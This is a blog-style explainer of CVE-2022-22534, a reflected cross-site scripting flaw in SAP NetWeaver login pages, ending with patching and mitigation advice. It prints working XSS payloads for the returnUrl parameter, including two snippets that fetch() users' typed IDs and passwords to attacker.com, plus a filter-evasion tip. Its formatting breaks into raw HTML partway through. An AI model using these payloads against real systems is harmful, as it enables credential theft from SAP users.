Summary:
A critical vulnerability, CVE-2022-22534, was discovered in SAP NetWeaver. The flaw is due to insufficient encoding of user input, letting unauthenticated attackers inject code that can leak sensitive information like user IDs and passwords. Since affected SAP NetWeaver endpoints are often openly accessible across enterprise networks, this creates a dangerous situation for organizations using SAP for business-critical processes.
In this post, I'll walk you through how this vulnerability works, how an attacker can exploit it, and what you need to do to protect yourself. Code snippets and links to the original references are included.
What is CVE-2022-22534?
SAP NetWeaver is a widely used business application platform. CVE-2022-22534 is a security flaw caused by SAP NetWeaver not properly encoding user-supplied input in certain HTTP endpoints. This allows attackers to perform injection attacks—mainly cross-site scripting (XSS)—which can expose confidential user data to an attacker.
Original Advisory
- SAP Security Note 3158375 (Login required)
- MITRE CVE-2022-22534
Technical Details
Root Cause:
User input from HTTP requests is reflected in HTTP responses without proper encoding. On endpoints used for login or user management, this input can break out of the intended context and let attackers execute injected scripts.
Impact:
Gain unauthorized access to sensitive information
Affected Endpoints:
Although SAP’s advisory does not list all endpoints, information from the patch and exploit community points to login form handlers and identity modules accessible over the network.
Step 1: Find an Exposed Endpoint
Attackers scan the network for SAP NetWeaver login pages or user modules, especially those reachable from the internet or large internal networks:
https://sap-erp.example.com/sap/bc/ui5_ui5/sap/<vulnerable_endpoint>;
Step 2: Inject Malicious Code
A special payload is placed in parameters that are reflected on the page. If the input isn't encoded, the browser runs the attacker's code.
Example Exploit (XSS)
Suppose the endpoint uses a GET parameter, returnUrl, and reflects its value in the HTML without encoding:
https://sap-erp.example.com/sap/login?returnUrl=<script>alert('SAP Hacked!');</script>
If SAP NetWeaver is vulnerable, the login page will pop up a JavaScript alert displaying "SAP Hacked!" when accessed with this URL. In a real attack, the injected script would silently steal credentials.
Steal Credentials with JavaScript Example
<script>
fetch('https://attacker.com/steal?uid='; + document.getElementById('userid').value + '&pwd=' + document.getElementById('password').value);
</script>
The attacker tricks the victim into visiting a crafted link. If the browser displays a login form, this script sends the entered credentials to the attacker's server.
Step 3: Harvest Sensitive Data
The attacker monitors requests to attacker.com to collect stolen login details.
Add an XSS payload to the returnUrl parameter ex:
https://sap-erp.example.com/sap/login?returnUrl=%3Cscript%3Ealert('owned')%3C%2Fscript%3E
Or, to automate user data theft
<img src="x" onerror="
fetch('https://attacker.com/log?uid='+document.getElementById('userid').value+'&pwd='+document.getElementById('password').value)">
">
Note:
Remove tags for filter evasion, or use SVG/event handlers.<br></p><h2><b>Immediately patch your SAP NetWeaver systems.</b></h2><p> - SAP released a patch. Instructions are in <a href="https://launchpad.support.sap.com/#/notes/3158375" rel="nofollow">SAP Note 3158375</a></p><h2><b>Sanitize and encode all user-supplied input</b> before reflecting in responses.</h2><p>- <b>Restrict network exposure</b> of SAP endpoints. Use firewalls, VPNs, or other network-layer controls.<br>- <b>Monitor logs</b> for suspicious activity, like unusual parameter values or external calls during login.<br></p><h2>Detection and Prevention</h2><p>- Scan your SAP NetWeaver apps with web vulnerability scanners that detect reflected XSS and input validation issues.</p><h2>References and Further Reading</h2><p>- <a href="https://blogs.sap.com/2022/03/08/sap-security-patch-day-march-2022/" rel="nofollow">SAP Security Patch Day – March 2022</a><br>- <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22534" rel="nofollow">MITRE CVE Page for CVE-2022-22534</a><br>- <a href="https://owasp.org/www-community/attacks/xss/" rel="nofollow">OWASP Cross Site Scripting (XSS)</a><br>- <a href="https://launchpad.support.sap.com/#/notes/3158375" rel="nofollow">SAP Note 3158375 (Login required)</a><br></p><h2>Conclusion</h2><p>CVE-2022-22534 is a high-risk vulnerability in SAP NetWeaver—one of the world’s most popular business platforms. It allows anyone, even without a password, to inject code and potentially steal SAP credentials. If you run SAP systems, patch immediately and audit for signs of attack. Unremediated, this bug can be catastrophic for your business.</p><h2>Stay safe. Update regularly. And make sure user inputs are always encoded.</h2><p>*This post is unique to this platform. Please consult official SAP advisories before making security decisions.*</p><h2>Timeline</h2><p>Published on: 02/09/2022 23:15:00 UTC<br/>Last modified on: 08/24/2022 16:15:00 UTC</p></body>